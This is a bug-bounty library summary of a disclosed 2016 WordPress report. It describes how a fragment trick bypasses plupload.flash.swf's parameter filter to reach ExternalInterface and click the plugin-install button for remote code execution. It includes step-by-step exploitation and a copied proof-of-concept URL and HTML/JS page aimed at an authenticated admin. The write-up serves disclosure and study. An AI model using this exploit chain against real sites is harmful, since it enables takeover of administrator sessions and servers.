# WordPress SOME bug in plupload.flash.swf leading to RCE

plupload.flash.swf's GET-killer fails to strip flashVars, enabling SOME/XSS via ExternalInterface that clicks the plugin-install button to install a rogue plugin, yielding RCE.

- Payout: hidden
- Severity: high
- Program: Automattic
- Found by: cure53
- Disclosed: 2016-07-10
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/134738
- Library page: https://bugbountylibrary.com/r/h1%3A134738
- Tags: area:web domain:web impact:ato impact:rce kind:bounty platform:hackerone sev:high tech:wordpress technique:chained technique:source-review vuln:rce vuln:xss

**Target:** plupload.flash.swf Flash file in wp-includes/js/plupload
**Root cause:** The GET-killer in Moxie.as parses the query string with parseStr and deletes matching keys from loaderInfo.parameters, but the URL fragment trick (`?%#target%g=...`) causes the query parse to miss the flashVars, so attacker-controlled target/uid survive. target is only validated as /^[\w\.]+$/ and uid sanitized to word chars, but ExternalInterface.call(eventDispatcher, evt) still executes arbitrary DOM method chains.
**Steps:**
1. Craft URL `http://example.com//wp-includes/js/plupload/plupload.flash.swf?%#target%g=opener.document.body.firstElementChild...click&uid%g=hello&` so the GET-killer's parseStr sees no matching keys but Flash reads target/uid from flashVars.
2. Open the SWF in a new window via `open('javascript:setTimeout("location=...swf?%#target%g=...click&uid%g=hello&", 2000)')`.
3. While SWF loads, navigate the opener to `http://example.com/wp-admin/plugin-install.php?tab=plugin-information&plugin=wp-super-cache&TB_iframe=true&width=600&height=550` so opener and SWF share origin.
4. SWF's _fireEvent calls ExternalInterface.call with target chain, invoking `.click()` on the plugin install button in the opener.
5. Rogue plugin installs, uploading attacker code to the server -> RCE.
**How found:** Team reviewed the plupload SWF's GET-killer and noticed parseStr/unescape handling could be bypassed with a `?%#` fragment trick, leaving flashVars intact; then observed target/uid reach ExternalInterface.call, and reasoned a DOM-traversal method chain could be invoked as the event dispatcher.
**Exploitation:** Attacker lures an authenticated WordPress admin to a malicious page; a button click opens the SWF in a new tab with a javascript: setTimeout that sets location to the crafted SWF URL, while a second setTimeout navigates the opener to the plugin-install page. Once both are same-origin, the SWF's ExternalInterface callback traverses opener.document to the install button and clicks it, installing an attacker-chosen plugin and achieving RCE.
**Escalation:** SOME (same-origin method execution) used to click the plugin-install button, converting a client-side XSS into server-side RCE via rogue plugin installation.
**Insight:** Flash GET-killers that parse `loaderInfo.url` query strings can be bypassed by placing flashVars after a `?%#` fragment so the sanitizer's parseStr sees nothing to delete; then any ExternalInterface.call sink with a loosely-validated target becomes a SOME gadget for clicking same-origin DOM elements.

## Proof of concept (copied exactly from the original report)

**Simple SOME PoC URL against plupload.flash.swf**

```
http://example.com//wp-includes/js/plupload/plupload.flash.swf?%#target%g=alert&uid%g=hello&
```

**HTML/JS PoC chaining SOME to plugin install RCE**

```
<button onclick="fire()">Click</button>
<script>
function fire() {
 open('javascript:setTimeout("location=\'http://example.com/wp-includes/js/plupload/plupload.flash.swf?%#target%g=opener.document.body.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.firstElementChild.click&uid%g=hello&\'", 2000)');
  setTimeout('location="http://example.com/wp-admin/plugin-install.php?tab=plugin-information&plugin=wp-super-cache&TB_iframe=true&width=600&height=550"')
}
</script>
```

